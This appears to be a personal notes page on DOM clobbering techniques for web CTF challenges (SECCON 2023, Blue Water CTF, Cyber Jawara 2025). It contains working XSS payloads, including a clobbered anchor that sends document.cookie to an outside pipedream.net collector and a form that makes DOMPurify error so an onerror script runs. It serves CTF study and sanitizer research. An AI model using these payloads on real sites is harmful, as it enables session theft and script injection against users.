Skip to content

Categories

DOM CLOBERING

this will createtested: firefox v102seccon quals 2023 “blink web”payloadsadly this technique will thor error if we don’t use something like this to wrap the document objectChallenges - Blue Water CTF...

Created

Updated

3 min read

Reading time

2 categories

Topics covered

Share:

Tip: for Facebook and LinkedIn, use Copy first, then paste when the platform opens.

DOM CLOBERING

Trick

<a id="clob" href="//*/%0A%0Adocument.location.href=`https://eori6i4ew40rbdj.m.pipedream.net?${document.cookie}" />or
<a id="clob" href="//*/\n\ndocument.location.href=`https://eori6i4ew40rbdj.m.pipedream.net?${document.cookie}" />

this will create

"//*/ document.location.href=`[https://eori6i4ew40rbdj.m.pipedream.net?$](https://eori6i4ew40rbdj.m.pipedream.net?$ "https://eori6i4ew40rbdj.m.pipedream.net?$"){document.cookie}"

tested: firefox v102

if there a setInterval with something you can clobber in argument, you can get code execution/XSS

seccon quals 2023 “blink web”

const id = setInterval(target.togglePopover, 400);

payload

http://blink.seccon.games:3000/#<iframe%20name=body%20srcdoc="<a%20id='nodeName'%20href='cid:alert(1)'></a>"></iframe>

sadly this technique will thor error if we don’t use something like this to wrap the document object

const wrap = (obj) => 
    new Proxy(obj, {
        get: (target, prop) => {
            const res = target[prop];
            return typeof res === "function" ? res.bind(target) : res;
        },
        set: (target, prop, value) => (target[prop] = value),
    });

Make error in DOMPurify

Challenges - Blue Water CTF Blue water ctf challenge

bluesocial challenge

for bluesocial we had a cheese solution, since u could make dompurify error by passing this lol

<form name="bar" id="lmao "> <!-- iterates over attributes backwards, when it gets to name it'll be clobbered and error -->
<input form="lmao" name="removeAttribute">
</form>
<img src=x onerror=alert(1)>

it gets removed from the dom tree but it doesnt return from the check here https://github.com/cure53/DOMPurify/commit/7422567a0b2f006ab8428bd0d4cf4818cf6f1b8f so it keeps going and errors lol

Related challenge

<html>
    <head>
        <script src="https://unpkg.com/dompurify@3.1.7/dist/purify.min.js"></script>
    </head>
    <body>
        <script>
            function normalize(s){
                return new Promise((resolve, reject)=>{
                    const frame = document.createElement("iframe")
                    frame.sandbox = 'allow-same-origin'
                    frame.hidden = true
                    frame.srcdoc = s
                    document.body.appendChild(frame)
                    setTimeout(()=>{
                        resolve(frame.contentWindow.document.body.innerHTML)
                    }, 100)
                })
            }
            async function main(){
                try{
                    var sanitizedHTML = new URLSearchParams(location.search).get("html")
                    sanitizedHTML = DOMPurify.sanitize(await normalize(html))
                    document.write(sanitizedHTML)
                } catch {
                    document.write(sanitizedHTML)
                }
            }
            main()
        </script>
    </body>
</html>

when it sanitizes attrs it removes the attr, does checks, then adds it back, so when id="foo " is added back it'll remove the space (i didnt find this, kevin mizu found it a while ago)

since that could clobber the form after the clobber check in _sanitizeElements, they added another clobber check in _sanitizeAttributes, so that if it's clobbered it gets _forceRemoved. but it doesn't return after that and keeps iterating over the detached dom tree, so it'll keep running the rest of _sanitizeAttributes and then error (since it was successfully clobbered lol)

Domclobering trick in Domparser

Cyber jawara 2025 quals

https://www.fastmail.com/blog/sanitising-html-the-dom-clobbering-issue/

<html>
    <script>
        const dom = new DOMParser().parseFromString(
            `
            <form id="form" action="/submit" method="post">
                <input name="attributes">
                <input name="nodeName">
                <input name="childNodes">
                <input name="childNodes">
            </form>`,
            'text/html'
        );
        console.log(dom.documentElement.childNodes[1])
        const form = dom.documentElement.childNodes[1].supra
        const formBody = dom.body.childNodes[0]
        console.log('Form')
        console.log({
            form,
            attributes: form.attributes,
            nodeName: form.nodeName,
            childNodes: form.childNodes
        })

        console.log('---')
        console.log('Form Body')
        console.log({
            formBody,
            attributes: formBody.attributes,
            nodeName: formBody.nodeName,
            childNodes: formBody.childNodes
        })
    </script>
</html>
Image

Refference

https://tib3rius.com/dom/

Categories & Topics

This note is categorized under the following topics. Click on any category to explore more related content.

Share this note

Share:

Tip: for Facebook and LinkedIn, use Copy first, then paste when the platform opens.